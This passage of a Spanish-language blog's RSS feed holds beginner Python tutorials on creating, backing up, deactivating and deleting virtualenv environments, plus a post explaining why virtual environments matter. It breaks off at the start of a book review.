https://files.pythonhosted.org/packages/bc/a9/01ffebfb562e4274b6487b4bb1ddec7ca55ec7510b22e4c51f14098443b8/chardet-3.0.4-py2.py3-none-any.whl&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting urllib3!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.0,!&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.25.1,&amp;lt;1.26,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;1.21.1 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/e6/60/247f23a7121ae632d62811ba7f273d0e58972d75e58a94d329d51550a47d/urllib3-1.25.3-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;150kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| 153kB 1.7MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting idna&amp;lt;2.9,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2.5 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached https://files.pythonhosted.org/packages/14/2c/cd551d81dbe15200be1cf41cd03869a46fe7226e7450af7a6545bfc474c9/idna-2.8-py2.py3-none-any.whl&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: certifi, chardet, urllib3, idna, requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed certifi-2019.6.16 chardet-3.0.4 idna-2.8 requests-2.22.0 urllib3-1.25.3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El paquete que se instaló se fué a la carpeta que se creó al ejecutar el comando &lt;em&gt;virtualenv:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   ├── requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── adapters.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── api.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── auth.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── certs.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            │   │   ├── compat.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ingresemos al intérprete de Python:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si todo sale bien deberíamos poder importar el paquete &lt;em&gt;requests&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡Ya no nos salta el error al importarlo! Ahora ya podemos usarla libremente y lo mejor es que el paquete está en la carpeta donde estamos trabajando, no en el sistema operativo. Por lo que, en caso de ser necesario, podremos trabajar con diferentes versiones de requests fácilmente, cada una en su entorno virtual.&lt;/p&gt;&#xA;&lt;h2 id=&#34;respaldar-paquetes-de-un-entorno-virtual&#34;&gt;Respaldar paquetes de un entorno virtual&lt;/h2&gt;&#xA;&lt;p&gt;Ahora que estamos en nuestro entorno virtual y hemos instalado un paquete, puede que deseemos respaldar nuestra lista de paquetes, por si en algún momento queremos reinstalar los paquetes de nuestro actual entorno virtual. Para esto &lt;em&gt;pip&lt;/em&gt; viene perfecto. Ejecutando &lt;em&gt;pip&lt;/em&gt;, seguido de la palabra &lt;em&gt;freeze&lt;/em&gt; y mandando esa información a un archivo tendremos una archivo con una lista de los paquetes instalados:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip freeze &amp;gt; requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el archivo anterior creado podemos instalar nuestros paquetes en cualquier otro entorno virtual que tengamos utilizando &lt;em&gt;pip&lt;/em&gt;. Nota la ausencia del comando &lt;em&gt;sudo&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install -r requirements.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;desactivar-un-entorno-virtual&#34;&gt;Desactivar un entorno virtual&lt;/h2&gt;&#xA;&lt;p&gt;Vamos ahora a abandonar el entorno virtual que hemos creado. ¿Recuerdas que usamos &lt;strong&gt;activate&lt;/strong&gt; para entrar en el entorno virtual? Pues bastará que utilicemos el comando &lt;em&gt;deactivate&lt;/em&gt; en nuestra terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;deactivate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nota como nuestra terminal ha regresado a su estado anterior. Ahora, solo para corroborar que todo salió bien, ingresemos nuevamente a nuestro intérprete Python,&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notaremos que el paquete &lt;em&gt;requests&lt;/em&gt; &lt;strong&gt;NO está instalado&lt;/strong&gt;; todos los cambios que hicimos fueron hechos únicamente en nuestro entorno virtual, no en el sistema operativo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;most recent call last&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;&lt;/span&gt;, line 1, in &amp;lt;module&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ImportError: No module named &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;requests&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;borrar-un-entorno-virtual&#34;&gt;Borrar un entorno virtual&lt;/h2&gt;&#xA;&lt;p&gt;Si quieres borrar por completo el entorno virtual basta con que elimines el directorio donde se ha creado el entorno virtual. Esto dejará la carpeta como estaba y todos los paquetes que estaban instalados dentro del entorno virtual se perderán. &lt;strong&gt;Por favor usa este comando con precaución, evita borrar el directorio root.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;rm -rf EntornoVirtual/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;pipenv&#34;&gt;Pipenv&lt;/h2&gt;&#xA;&lt;p&gt;Existe otro paquete que une pip y virtualenv, te permite manejar los entornos virtuales de manera bastante sencilla y cuenta con bastantes mejoras respecto a virtualenv. Si quieres saber más al respecto visita mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/&#34;&gt;tutorial donde te explico que es y como usar Pipenv.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Si no tienes ni idea de para que sirve un entorno virtual tengo una entrada donde explico para que sirven los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/&#34;&gt;entornos virtuales en Python&lt;/a&gt;&#xA;. Hoy vengo a traerte un pequeño tutorial de Python virtualenv donde instalaremos un par de paquetes en un entorno virtual y veremos como se comportan. Asegúrate de tener instalado &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.python.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Python&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pip.pypa.io/en/stable/installing/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pip&lt;/a&gt;&#xA; porque los necesitaremos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparativos-para-usar-virtualenv&#34;&gt;Preparativos para usar virtualenv&lt;/h2&gt;&#xA;&lt;p&gt;Empecemos primero creando un directorio nuevo, puedes ponerlo donde tu prefieras.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Por qué deberías usar un entorno virtual en python?</title>
      <link>https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/</link>
      <pubDate>Wed, 10 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Los entornos virtuales en python son una herramienta que se usa sí o sí en cada uno de los proyectos. Son tan importantes que forman parte de la librería estándar de Python, pero, ¿qué hacen? Deja que te cuente para que sirve un entorno virtual en python con un ejemplo bastante simple.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que estás desarrollando dos proyectos, cada uno para una empresa diferente. En el primero de los proyectos estás desarrollando una nueva funcionalidad para un sitio web corporativo que utiliza Django 2.2. Un par de las librerías usadas en el anterior proyecto se actualizan con poca frecuencia, por lo que, para evitar problemas de compatibilidad, decides conservar esa versión de Django. Decides nombrar a este proyecto &amp;ldquo;Pro 2.2&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;En el segundo proyecto, tus clientes startuperos millenials, te piden que desarrolles una aplicación web desde cero. Para aprovechar las nuevas características del framework utilizas la versión más nueva de Django en este proyecto. Nombras a este segundo proyecto &amp;ldquo;Pro-newest&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;empiezan-los-problemas&#34;&gt;Empiezan los problemas&lt;/h2&gt;&#xA;&lt;p&gt;Esa misma tarde decides empezar a trabajar en el primer proyecto, Pro 2.2. Más tarde, para no dejar olvidado el segundo proyecto, Pro-newest, te motivas a escribir algo de código. De repente, cuando necesitas regresar a trabajar nuevamente en Pro 2.2, el problema aparece claro frente a ti. Cada vez que trabajes en Pro 2.2 será necesario desinstalar la versión más nueva de Django y, cuando escribas código para el segundo proyecto, tendrás que instalar la versión más reciente. Y peor aún, esta situación se repite para cada dependencia del proyecto.&lt;/p&gt;&#xA;&lt;p&gt;Decides que está bien, no pasa nada, así que decides trabajar así. Cuando terminas tu Proyecto Pro-newest estás tan emocionado que decides mostrarle a tu colega. Él recibe tus archivos pero te jura que el código no corre ¿qué estuvo mal? Tras una breve charla tu amigo te explica que tiene instalada la versión de Django 1.6 en su pc desde años atrás y que no la ha actualizado desde entonces. Tu proyecto con la versión más reciente de Django no funcionará en la computadora de tu amigo debido a incompatibilidades en las versiones. ¿No sería más sencillo si tu amigo pudiera usar la misma versión de Django del proyecto que quieres mostrarle? Sin tener que desinstalar la versión que ya tiene.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;y-si-usamos-maquinas-virtuales&#34;&gt;¿Y si usamos máquinas virtuales?&lt;/h2&gt;&#xA;&lt;p&gt;Podríamos solucionar el problema anterior instalando una máquina virtual, como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.virtualbox.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;virtualbox&lt;/a&gt;&#xA;. Dentro de cada máquina virtual seriamos capaces de instalar las dependencias de nuestro proyecto a medida. Además tendríamos tantas como proyectos. Y funcionaría, ¿no? Bueno sí, pero con un gran inconveniente: hay que cargar todo un sistema operativo completo para tener unas cuentas dependencias. Es demasiada carga a nuestro sistema para resultar práctico.&lt;/p&gt;&#xA;&lt;p&gt;Las máquinas virtuales consumen demasiado espacio en disco duro y el tiempo de arranque de cada máquina virtual es desalentador. La interacción entre nuestro sistema y una máquina virtual puede llegar a ser complicada. Después de todo, no necesitamos cargar todo un sistema operativo, sino solo código Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;la-solucion-un-entorno-virtual-en-python&#34;&gt;La solución, un entorno virtual en python&lt;/h2&gt;&#xA;&lt;p&gt;Un entorno virtual, simplificando al máximo su explicación (perdónenme puristas), es un espacio aislado del resto de nuestro sistema operativo, donde tendremos una serie de dependencias instaladas de manera local. Es como si especificaras un lugar desde donde Python tomará sus librerías, en lugar del predeterminado que usa tu sistema operativo. Estas dependencias son independientes de las que tengamos previamente instaladas en nuestro sistema operativo. Y, lo mejor, podemos tener tantos de estos espacios aislados como deseemos.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate una carpeta donde tengamos instalado Django 2.2 y otra para la versión más nueva de Django. Al ser entornos aislados, no importa si nuestro sistema operativo ni siquiera tiene instalado django. Podremos cambiar entre un entorno virtual y otro, sin tiempos de carga excesivos, y el comportamiento será el mismo que si los tuvieramos instalados en nuestro sistema operativo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Sobra decir que los entornos virtuales solucionan bastantes problemas. Y es una práctica altamente recomendada, por no decir casi obligatoria, cuando se trabaja con código Python.&lt;/p&gt;&#xA;&lt;h2 id=&#34;opciones-de-gestores-de-entornos-virtuales&#34;&gt;Opciones de gestores de entornos virtuales&lt;/h2&gt;&#xA;&lt;p&gt;Hay muchas opciones de entornos virtuales disponibles aquí te dejo algunos de los más populares:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;virtualenv&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/&#34;&gt;pipenv&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;conda&lt;/li&gt;&#xA;&lt;li&gt;poetry&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Los entornos virtuales en python son una herramienta que se usa sí o sí en cada uno de los proyectos. Son tan importantes que forman parte de la librería estándar de Python, pero, ¿qué hacen? Deja que te cuente para que sirve un entorno virtual en python con un ejemplo bastante simple.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que estás desarrollando dos proyectos, cada uno para una empresa diferente. En el primero de los proyectos estás desarrollando una nueva funcionalidad para un sitio web corporativo que utiliza Django 2.2. Un par de las librerías usadas en el anterior proyecto se actualizan con poca frecuencia, por lo que, para evitar problemas de compatibilidad, decides conservar esa versión de Django. Decides nombrar a este proyecto &amp;ldquo;Pro 2.2&amp;rdquo;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Aprender python desde cero Reseña de Beginning Python</title>
      <link>https://coffeebytes.dev/es/python/aprender-python-desde-cero-resena-de-beginning-python/</link>
      <pubDate>Tue, 02 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/aprender-python-desde-cero-resena-de-beginning-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Beginning Python: From Novice To Professional fue uno de los primeros libros de Python que leí. Elegí este libro porque con él se podía aprender Python desde cero. El libro parte desde la instalación del lenguaje, pasando por los diferentes tipos de estructuras de datos que incluye Python e incluso dos capítulos de 